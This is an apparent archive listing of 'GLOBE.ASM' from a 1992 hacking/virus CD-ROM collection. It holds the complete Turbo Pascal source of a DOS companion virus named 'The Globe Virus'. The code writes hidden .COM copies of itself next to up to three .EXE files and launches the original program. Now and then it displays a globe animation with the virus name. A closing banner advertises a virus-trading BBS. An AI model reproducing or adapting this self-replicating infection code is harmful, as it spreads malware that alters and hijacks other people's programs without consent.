home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GLOBE.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  2KB  |  107 lines

  1. Program Worm;
  2.  
  3. {$M 2048,0,4096}
  4.  
  5. Uses Dos, Crt;
  6.  
  7. Var      F1 : File;
  8.          F2 : File;
  9.          O : String;
  10.          Parm : String;
  11.          P : DirStr;
  12.          N : NameStr;
  13.          E : ExtStr;
  14.          Buf : Array[0..8000] of Byte;
  15.          NumRead : Word;
  16.          NumWritten : Word;
  17.          DirInfo : SearchRec;
  18.          ComExist : SearchRec;
  19.          Infect : Byte;
  20.  
  21. Procedure StartOrigExe;
  22. Begin
  23.      O := ParamStr(0);
  24.      FSplit(O,P,N,E);
  25.      O := P+N+'.EXE';
  26.      P := '';
  27.      For NumRead := 1 To ParamCount Do
  28.          P := P + ParamStr(NumRead);
  29.      SwapVectors;
  30.      Exec(O,P);
  31.      SwapVectors;
  32. End;
  33.  
  34. Procedure InfectExe;
  35. Begin
  36. FindFirst('*.EXE',Archive,DirInfo);
  37. While (DosError = 0) And (Infect <> 0) Do
  38.    Begin
  39.    FSplit(DirInfo.Name,P,N,E);
  40.    O := P+N+'.COM';
  41.    FindFirst(O,Hidden,ComExist);
  42.    If DosError <> 0 Then
  43.         Begin
  44.         Assign(F1,O);
  45.         Rewrite(F1,1);
  46.         BlockWrite(F1,buf,NumRead,NumWritten);
  47.         Close(F1);
  48.         SetFattr(F1,Hidden);
  49.         Dec(Infect);
  50.         End;
  51.    FindNext(DirInfo);
  52.    End;
  53. End;
  54.  
  55. Procedure Activate;
  56. Var
  57.   T1,T2 : Integer;
  58.   I     : Real;
  59.   X , Y : Byte;
  60.   Resolution : Integer;
  61.  
  62. Begin
  63. ClrScr;
  64. I := 0;
  65. T2 := 38;
  66. Randomize;
  67. Repeat
  68. Resolution := 50;
  69. For T1 := 0 to Resolution Do
  70.     Begin
  71.     X := Abs(40+Round(Sin(I)*T2));
  72.     Y := Abs(12-Round(Cos(I)*10));
  73.     GotoXY(X,Y);
  74.     Write('█');
  75.     I := I + ((Pi*2)/Resolution);
  76.     End;
  77.     T2 := T2 - 1;
  78.     TextColor(Random(14)+1);
  79. Until T2 < 2;
  80. GotoXY(30,12);
  81. TextColor(White);
  82. Write('* The Globe Virus *');
  83.  Asm
  84.    Mov Ah,8
  85.    Int 21h
  86.  End;
  87. ClrScr;
  88. End;
  89.  
  90. Begin
  91.   Infect := 3;
  92.    Randomize;
  93.    Assign(F2,ParamStr(0));
  94.    Reset(F2,1);
  95.    BlockRead(F2,buf,SizeOf(buf),NumRead);
  96.    Close(F2);
  97.      InfectExe;
  98.      StartOrigExe;
  99.      If Random(16) = 0 then Activate;
  100.      Halt(DosExitCode);
  101. End.
  102.  
  103. ;  ─────────────────────────────────────────────────────────────────────────
  104. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  105. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  106. ;  ─────────────────────────────────────────────────────────────────────────
  107.